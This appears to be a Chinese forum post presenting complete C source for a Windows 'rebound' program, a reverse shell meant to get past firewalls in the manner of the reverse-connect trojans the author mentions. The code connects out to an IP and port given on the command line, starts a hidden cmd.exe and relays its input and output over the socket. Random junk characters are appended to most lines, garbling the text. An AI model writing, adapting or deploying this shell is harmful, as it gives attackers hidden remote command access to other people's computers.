这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5*j:K&R-.K
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/* ============================== c@OP5L>{
Rebound port in Windows NT A,<@m2
By wind,2006/7 Rx S884
===============================*/ YFvgz.>QE
#include r8v:|Q1"
#include UrK"u{G
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#pragma comment(lib,"wsock32.lib") v5 Y)al@
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void OutputShell();
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SOCKET sClient; 0yQe5i}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e_.~n<=
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void main(int argc,char **argv) F#1kZ@nq
{ yN:>!SQ
WSADATA stWsaData; </ZHa:=7
int nRet; 9dYOH)f
SOCKADDR_IN stSaiClient,stSaiServer; q/'MS[C
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if(argc != 3) FsY`nWwg
{ A- 0m8<
printf("Useage:\n\rRebound DestIP DestPort\n"); SLh~_ 5
return; z7q%,yw3N
} (xUFl@I!
{ _X#fq0}
WSAStartup(MAKEWORD(2,2),&stWsaData); vnZ/tF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pz
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stSaiClient.sin_family = AF_INET; $4h04_"
stSaiClient.sin_port = htons(0); qKs7WBRJy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2'dG7lLu4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u'Pn(A@1R
{ 8;.` {'r
printf("Bind Socket Failed!\n"); P:a*t[+
return; )$F6
} 1gAc,s2
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stSaiServer.sin_family = AF_INET; u]#8$M2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O3}P07
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y-7.Vjt^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5j1 IH,yW
{ v1K4 $&{F
printf("Connect Error!"); .m'N7`VB
return; c8\g"T
} %Fm`Y.l
OutputShell(); QvNi8TB
} g4T3?"xMB_
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void OutputShell() N$*>suQ,
{ J ZNyC!u
char szBuff[1024]; dr>]+H=3E
SECURITY_ATTRIBUTES stSecurityAttributes; uTUa4^]*
OSVERSIONINFO stOsversionInfo; ]Y$&78u8t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o"f%\N0_8
STARTUPINFO stStartupInfo; {{GHzW
char *szShell; LVWxd}0
PROCESS_INFORMATION stProcessInformation; yOM
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unsigned long lBytesRead; 5I_hh?N4Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); roL]v\tr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XSls]o
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stSecurityAttributes.lpSecurityDescriptor = 0; GMt)}Hz
stSecurityAttributes.bInheritHandle = TRUE; 7TR'zW2W
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f`bIQ 9R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H|x k${R`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w7Pe
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B##C{^5A`
stStartupInfo.wShowWindow = SW_HIDE; ,at-ci\'
stStartupInfo.hStdInput = hReadPipe; <"{+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5auL<Pq
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GetVersionEx(&stOsversionInfo); >DkN+S
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switch(stOsversionInfo.dwPlatformId) <w%Yq?^
{ sCL/pb]
case 1: e(4bx5<*
szShell = "command.com"; =/M$
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break; zww?
default: R^F7a0"
szShell = "cmd.exe"; !~Ax
break; i:AjWC@]
} Vl&+/-V
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0 [*nAo
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send(sClient,szMsg,77,0); AW]("pt
while(1) IZzhJK M1V
{ ]5aux
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z&BM%.NZJ
if(lBytesRead) Y!Usce
{ ]i9H_K
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CvgPIrl
send(sClient,szBuff,lBytesRead,0); }D8~^
} q\-xg*'
else Ma
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{ b0rt.XB
lBytesRead=recv(sClient,szBuff,1024,0); $#g#[/
if(lBytesRead<=0) break; qYQUr8{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ".Tf<F
} v GulM<YY
} N8u_=b{X
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return; l;"ub^AH
}